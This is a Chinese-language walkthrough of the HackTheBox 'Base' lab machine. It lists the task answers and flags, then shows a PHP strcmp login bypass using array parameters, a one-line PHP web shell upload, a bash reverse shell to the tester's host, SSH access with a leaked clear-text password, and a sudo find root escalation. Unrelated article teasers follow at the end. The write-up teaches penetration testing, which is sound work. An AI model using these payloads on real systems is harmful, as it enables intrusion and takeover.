HackTheBox-Starting Point--Tier 2---Base
文章目录
- 一 题目
- 二 过程记录
- 2.1 打点
- 2.2 权限获取
- 2.3 横向移动
- 2.4 权限提升
一 题目
Tags
Web、Vulnerability Assessment、Custom Applications、Source Code Analysis、Authentication、Apache、PHP、Reconnaissance、Web Site Structure Discovery、SUDO Exploitation、Authentication bypass、Clear Text Credentials、Arbitrary File Upload、Information Disclosure、PHP type juggling译文:Web、漏洞评估、自定义应用程序、源代码分析、认证、Apache、PHP、侦察、网站结构发现、SUDO 开发、身份验证绕过、明文凭据、任意文件上传、信息披露、PHP类型杂技
Connect
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
SPAWN MACHINE
Spawn the target machine and the IP will show here.译文:生成目标机器,IP 将显示在此处
TASK 1
Which two TCP ports are open on the remote host?译文:远程主机开启了哪两个TCP端口?答:22,80
TASK 2
What is the relative path on the webserver for the login page?译文:登录页面在 Web 服务器上的相对路径是什么?答:/login/login.php
TASK 3
How many files are present in the '/login' directory?译文:“/login”目录中有多少个文件?答:3
TASK 4
What is the file extension of a swap file?译文:swap文件的扩展名是什么?答:.swp
TASK 5
Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?译文:后端代码中使用了哪个 PHP 函数来将用户提交的用户名和密码与有效的用户名和密码进行比较?答:strcmp()
TASK 6
In which directory are the uploaded files stored?译文:上传的文件存储在哪个目录中?答:/_uploaded
TASK 7
Which user exists on the remote host with a home directory?译文:home 目录的远程主机上存在哪个用户?答:john
TASK 8
What is the password for the user present on the system?译文:系统上存在的用户的密码是什么?答:thisisagoodpassword
TASK 9
What is the full path to the command that the user john can run as user root on the remote host?译文:用户 john 可以在远程主机上以 root 用户身份运行的命令的完整路径是什么?答:/usr/bin/find
TASK 10
What action can the find command use to execute commands?译文:find 命令可以使用什么操作来执行命令?答:exec
SUBMIT FLAG
Submit user flag译文:用户flag答:f54846c258f3b4612f78a819573d158e
SUBMIT FLAG
Submit root flag译文:提交root flag答:51709519ea18ab37dd6fc58096bea949
二 过程记录
2.1 打点
1.端口扫描
nmap -sV -sC 10.129.198.121

2.访问web页面,并发现敏感信息
访问80端口,点击Login,页面跳转到 http://10.129.198.121/login/login.php


去掉login.php访问:http://10.129.32.71/login/,发现登录文件、配置文件、swp文件

SWP文件:是一种备份Vim编辑器临时文件的格式。在Vim编辑器意外中断时,SWP文件能够帮助用户恢复丢失的内容。也可以通过手动设置SWAP文件路径环境变量的方式来更改文件存储位置。SWP文件是临时文件,在正确操作的情况下,Vim会自动删除这些文件。
swp文件是一个临时文件,它包含许多非可读的内容,因此可以使用 strings命令来读取这个交换文件, strings命令可以显示人类可读的文本。
# strings命令可以查看当前查看的文件类型,并且可以提取文本
strings login.php.swp
执行strings命令,显示如下:
b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"! <input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required><div class="form-group"><div class="row" align="center"><form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe"><div class="col-lg-12 mt-5 mt-lg-0"><div class="row mt-2"></div><p>Use the form below to log into your account.</p><h2>Login</h2><div class="section-title mt-5" ><div class="container" data-aos="fade-up"><section id="login" class="contact section-bg" style="padding: 160px 0"><!-- ======= Login Section ======= --></header><!-- End Header --></div></nav><!-- .navbar --><i class="bi bi-list mobile-nav-toggle"></i></ul><li><a class="nav-link scrollto action" href="/login.php">Login</a></li><li><a class="nav-link scrollto" href="/#contact">Contact</a></li><li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li><li><a class="nav-link scrollto" href="/#team">Team</a></li><li><a class="nav-link scrollto" href="/#services">Services</a></li><li><a class="nav-link scrollto" href="/#about">About</a></li><li><a class="nav-link scrollto" href="/#hero">Home</a></li><ul><nav id="navbar" class="navbar"><!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>--><!-- Uncomment below if you prefer to use an image logo --><h1 class="logo"><a href="index.html">BASE</a></h1><div class="container d-flex align-items-center justify-content-between"><header id="header" class="fixed-top"><!-- ======= Header ======= -->
<body>
</head><link href="../assets/css/style.css" rel="stylesheet"><!-- Template Main CSS File --><link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet"><link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet"><link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet"><link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"><link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet"><link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"><link href="../assets/vendor/aos/aos.css" rel="stylesheet"><!-- Vendor CSS Files --><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"><!-- Google Fonts --><link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon"><link href="../assets/img/favicon.png" rel="icon"><!-- Favicons --><meta content="" name="keywords"><meta content="" name="description"><title>Welcome to Base</title><meta content="width=device-width, initial-scale=1.0" name="viewport"><meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>}print("<script>alert('Wrong Username or Password')</script>");} else {}print("<script>alert('Wrong Username or Password')</script>");} else {header("Location: /upload.php");$_SESSION['user_id'] = 1;if (strcmp($password, $_POST['password']) == 0) {if (strcmp($username, $_POST['username']) == 0) {require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body><script src="../assets/js/main.js"></script>
查看文件内容,发现文件内容是颠倒的,利用tac命令将文件从尾部到头部重新输出一遍:
strings login.php.swp >> file.txt# mac下使用tail -r命令
tail -r fiel.txt
# linux下使用tac命令
tac file.txt
整理后的文件内容如下:
<script src="../assets/js/main.js"></script>
</body>
</html>
<?php
session_start();
if (!empty($_POST['username']) && !empty($_POST['password'])) {require('config.php');if (strcmp($username, $_POST['username']) == 0) {if (strcmp($password, $_POST['password']) == 0) {$_SESSION['user_id'] = 1;header("Location: /upload.php");} else {print("<script>alert('Wrong Username or Password')</script>");}} else {print("<script>alert('Wrong Username or Password')</script>");}
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><meta content="width=device-width, initial-scale=1.0" name="viewport"><title>Welcome to Base</title><meta content="" name="description"><meta content="" name="keywords"><!-- Favicons --><link href="../assets/img/favicon.png" rel="icon"><link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon"><!-- Google Fonts --><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"><!-- Vendor CSS Files --><link href="../assets/vendor/aos/aos.css" rel="stylesheet"><link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"><link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet"><link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"><link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet"><link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet"><link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet"><!-- Template Main CSS File --><link href="../assets/css/style.css" rel="stylesheet">
</head>
<body><!-- ======= Header ======= --><header id="header" class="fixed-top"><div class="container d-flex align-items-center justify-content-between"><h1 class="logo"><a href="index.html">BASE</a></h1><!-- Uncomment below if you prefer to use an image logo --><!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>--><nav id="navbar" class="navbar"><ul><li><a class="nav-link scrollto" href="/#hero">Home</a></li><li><a class="nav-link scrollto" href="/#about">About</a></li><li><a class="nav-link scrollto" href="/#services">Services</a></li><li><a class="nav-link scrollto" href="/#team">Team</a></li><li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li><li><a class="nav-link scrollto" href="/#contact">Contact</a></li><li><a class="nav-link scrollto action" href="/login.php">Login</a></li></ul><i class="bi bi-list mobile-nav-toggle"></i></nav><!-- .navbar --></div></header><!-- End Header --><!-- ======= Login Section ======= --><section id="login" class="contact section-bg" style="padding: 160px 0"><div class="container" data-aos="fade-up"><div class="section-title mt-5" ><h2>Login</h2><p>Use the form below to log into your account.</p></div><div class="row mt-2"><div class="col-lg-12 mt-5 mt-lg-0"><form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe"><div class="row" align="center"><div class="form-group"><input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
#"!
3210
/var/www/html/login/login.php
base
root
b0VIM 8.0
3.代码分析

如上代码块中:开发人员使用strcmp()来检查用户名和密码的组合,当用户输入正确时,返回0,此时登录成功。
在php中,如果在变量前加上[],会把变量转化为数组。如果给strcmp()函数一个空数组($username[] & $password[])进行比较,结果将返回NULL,==运算符只检查变量的值是否相等,但是NULL的值为0。返回0,则登录成功。也就成功绕过登录。
4.使用burpsuite更改请求包绕过登录
拦截请求包,将username=admin&password=123更改为username[]=admin&password[]=123,成功绕过登录。发现一个上传页面。


2.2 权限获取
5.文件上传漏洞利用
上传一句话木马
<?php echo system($_REQUEST['cmd']);?>
暴力破解上传文件保存路径,发现存在一个_uploaded目录
./gobuster dir -u http://10.129.32.71/ -w php.txt


点击访问request.php文件,页面为空

但是如果添加?cmd=id执行系统命令,执行成功

6.获取反弹shell
攻击机器开启监听ncat -lnvp 1234
对反弹shell进行URL编码
/bin/bash -c 'bash -i>& /dev/tcp/10.10.14.11/1234 0>&1'

然后在URL中执行,成功拿到shell


2.3 横向移动
访问http://10.129.198.167/login/config.php页面时,页面为空白,此时www-data权限下查看config.php文件,发现用户名和密码:
$username = "admin";
$password = "thisisagoodpassword"

列举home目录下的用户,并尝试使用上文获取到的密码thisisagoodpassword切换到john,但是显示需要交互式shell才可以使用su命令

22端口开放,尝试使用ssh连接,john用户登录成功
ssh john@10.129.198.167
thisisagoodpassword

获取到john用户的flag

2.4 权限提升
# 列出当前用户可以利用sudo执行哪些命令
sudo -l
输出显示:john用户可以以root权限执行find命令

执行以下命令获取root权限
sudo find . -exec /bin/sh \; -quit

相关文章:
HackTheBox-Starting Point--Tier 2---Base
文章目录 一 题目二 过程记录2.1 打点2.2 权限获取2.3 横向移动2.4 权限提升 一 题目 Tags Web、Vulnerability Assessment、Custom Applications、Source Code Analysis、Authentication、Apache、PHP、Reconnaissance、Web Site Structure Discovery、SUDO Exploitation、Au…...
算法导论笔记4:散列数 hash
一 了解一些散列的基本概念,仅从文字角度,整理了最基础的定义。 发现一本书,《算法图解》,微信读书APP可读,有图,并且是科普性质的读物,用的比喻很生活化,可以与《算法导论》合并起…...
知识蒸馏概述及开源项目推荐
文章目录 1.介绍2.知识2.1 基于响应的知识(response-based)2.2 基于特征的知识(feature-based)2.3 基于关系的知识(relation-based) 3.蒸馏机制3.1 离线蒸馏3.2 在线蒸馏3.3 自蒸馏 4.教师-学生架构5.蒸馏算法5.1 对抗性蒸馏(Adversarial Dis…...
jupyter notebook中markdown改变图像大小
文章目录 🕮原始图像🕮改变图像大小🕮使图像靠左 在 jupyter notebook中,导入的图片过大,想要改变图像的大小 🕮原始图像 🕮改变图像大小 复制小括号里面的内容到src后面,满足<…...
SpringGateWay——yml文件配置详解
Spring Gateway 是一个基于 Spring 框架的网关服务,主要作用是将流量路由到不同的微服务中。它的灵活性和可扩展性使它成为构建云原生应用架构的不二之选。 下面是 Spring Gateway 的 yml 文件配置参数详解: spring:cloud: gateway: routes: # 路由相…...
Haproxy实现七层负载均衡
目录 Haproxy概述 haproxy算法: Haproxy实现七层负载 ①部署nginx-server测试页面 ②(主/备)部署负载均衡器 ③部署keepalived高可用 ④增加对haproxy健康检查 ⑤测试 Haproxy概述 haproxy---主要是做负载均衡的7层,也可以做4层负载均衡 apache也可…...
k8s最详细集群部署
安装kubeadm、kubectl、和 kubelet 这里通过百度网盘下载所需要的安装包: 链接: k8s部署包.zip_免费高速下载|百度网盘-分享无限制 提取码: 0000 1、下载部署包到本地后,在k8s部署包/k8s目录下 执行此yum命令安装:yum localinstall ./*.r…...
Redis底层数据结构:字典
在 Redis 中,字典(Dictionary)是一种常用的底层数据结构,它被用于实现 Redis 的哈希表(Hash Table)数据结构。字典用于存储键值对,它提供了快速的键值查找、插入和删除操作。 Redis 字典的特点&…...
upload 文件自动上传写法,前后端 下载流文件流
<el-uploadv-model:file-list"fileList":action"app.api/student/student/import":headers"{// Content-Type: multipart/form-data;boundary----split-boundary, 此处切记不要加,否则会造成后端报错 Required request part file is…...
Python文件、文件夹操作汇总
目录 一、概览 二、文件操作 2.1 文件的打开、关闭 2.2 文件级操作 2.3 文件内容的操作 三、文件夹操作 四、常用技巧 五、常见使用场景 5.1 查找指定类型文件 5.2 查找指定名称的文件 5.3 查找指定名称的文件夹 5.4 指定路径查找包含指定内容的文件 一、概览 在…...
CHM Viewer Star 6.3.2(CHM文件阅读)
CHM Viewer Star 是一款适用于 Mac 平台的 CHM 文件阅读器软件,支持本地和远程 CHM 文件的打开和查看。它提供了直观易用的界面设计,支持多种浏览模式,如书籍模式、缩略图模式和文本模式等,并提供了丰富的功能和工具,如…...
【GIT】git分支命令,使用分支场景介绍git标签介绍,git标签命令,git标签使用的场景git查看提交历史
目录 一,git分支命令,使用分支场景介绍 二,git标签介绍,git标签命令,git标签使用的场景 三,git查看提交历史 前言: 今天我们来聊聊关于Git 分支管理。几乎每一种版本控制系统都以某种形式支持…...
Zeitgeist ZTG Token以及其预测市场加入Moonbeam生态
波卡上的首选多链开发平台Moonbeam宣布与Zeitgeist达成XCM集成,将ZTG Token引入Moonbeam。此集成将使波卡内的Moonbeam和Zeitgeist网络之间的流动性得以流动,并通过Moonbeam的互连合约实现远程链集成。 Zeitgeist是一个基于波卡的Substrate区块链框架构…...
AM@方向导数概念和定理
文章目录 abstract方向导数二元函数方向导数偏导数是方向导数的特例偏导数存在一定有对应的方向导数存在方向导数存在不一定有偏导数存在例 三元函数方向导数例 方向导数存在定理和计算公式证明二元函数三元函数 abstract 方向导数的概念,定理和计算公式方向导数是对偏导的补充…...
微信小程序隐私政策不合规,应当由用户自主阅读后自行选择是否同意隐私政策协议,不得默认强制用户同意
小程序隐私政策不合规,默认自动同意《用户服务协议》及《隐私政策》,应当由用户自主阅读后自行选择是否同意隐私政策协议,不得默认强制用户同意,请整改后再重新提交。 把 登录代表同意《用户协议》和《隐私政策》 改为 同意《用…...
Python中如何判断两个对象的内存地址是否一致?
目录 一、引言 二、Python的内存管理 三、对象的比较 四、使用id函数判断内存地址 五、总结 一、引言 在Python中,我们经常需要比较两个对象是否是同一个对象,或者说它们是否在内存中占据同一位置。在理解这个问题之前,我们需要了解Pyt…...
唯美仙侠3D手游2023【仙变3】画面精美/linux服务端+双端+GM后台+运营后台+详细教程
搭建资源下载地址:https://www.ldmzy.com/6618/6618.html...
React组件通信:如何优雅地实现组件间的数据传递
在React应用中,组件通信是至关重要的一部分。通过合适的数据传递和交互方式,我们可以构建出更加灵活和高效的前端应用。本文将介绍React组件通信的各种方式,并提供代码实现,帮助你更好地理解和应用这些技术。 1. 使用props进行父子…...
数据分析实战 | 逻辑回归——病例自动诊断分析
目录 一、数据及分析对象 二、目的及分析任务 三、方法及工具 四、数据读入 五、数据理解 六、数据准备 七、模型训练 八、模型评价 九、模型调参 十、模型预测 一、数据及分析对象 CSV文件——“bc_data.csv” 数据集链接:https://download.csdn.net/d…...
Eigen::Matrix<double,3,1> F;Eigen::MatrixXd F (3, 2);这两行代码有什么区别?
这两行代码的区别在于定义的矩阵 F 的类型和维度不同。 第一行: Eigen::Matrix<double,3,1> F;这行代码创建了一个3x1的矩阵 F,其中元素类型为 double。这是一个静态大小的矩阵,其维度在编译时确定。 第二行: Eigen::Ma…...
日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻
在如今就业市场竞争日益激烈的背景下,越来越多的求职者将目光投向了日本及中日双语岗位。但是,一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧?面对生疏的日语交流环境,即便提前恶补了…...
Linux 文件类型,目录与路径,文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件:-(纯文本文件,二进制文件,数据格式文件) 如文本文件、图片、程序文件等。 目录文件:d(directory) 用来存放其他文件或子目录。 设备…...
智慧医疗能源事业线深度画像分析(上)
引言 医疗行业作为现代社会的关键基础设施,其能源消耗与环境影响正日益受到关注。随着全球"双碳"目标的推进和可持续发展理念的深入,智慧医疗能源事业线应运而生,致力于通过创新技术与管理方案,重构医疗领域的能源使用模式。这一事业线融合了能源管理、可持续发…...
2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
vulnyx Blogger writeup
信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面,gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...
08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险
C#入门系列【类的基本概念】:开启编程世界的奇妙冒险 嘿,各位编程小白探险家!欢迎来到 C# 的奇幻大陆!今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类!别害怕,跟着我,保准让你轻松搞…...
day36-多路IO复用
一、基本概念 (服务器多客户端模型) 定义:单线程或单进程同时监测若干个文件描述符是否可以执行IO操作的能力 作用:应用程序通常需要处理来自多条事件流中的事件,比如我现在用的电脑,需要同时处理键盘鼠标…...
解决:Android studio 编译后报错\app\src\main\cpp\CMakeLists.txt‘ to exist
现象: android studio报错: [CXX1409] D:\GitLab\xxxxx\app.cxx\Debug\3f3w4y1i\arm64-v8a\android_gradle_build.json : expected buildFiles file ‘D:\GitLab\xxxxx\app\src\main\cpp\CMakeLists.txt’ to exist 解决: 不要动CMakeLists.…...
echarts使用graphic强行给图增加一个边框(边框根据自己的图形大小设置)- 适用于无法使用dom的样式
pdf-lib https://blog.csdn.net/Shi_haoliu/article/details/148157624?spm1001.2014.3001.5501 为了完成在pdf中导出echarts图,如果边框加在dom上面,pdf-lib导出svg的时候并不会导出边框,所以只能在echarts图上面加边框 grid的边框是在图里…...
C++ 类基础:封装、继承、多态与多线程模板实现
前言 C 是一门强大的面向对象编程语言,而类(Class)作为其核心特性之一,是理解和使用 C 的关键。本文将深入探讨 C 类的基本特性,包括封装、继承和多态,同时讨论类中的权限控制,并展示如何使用类…...
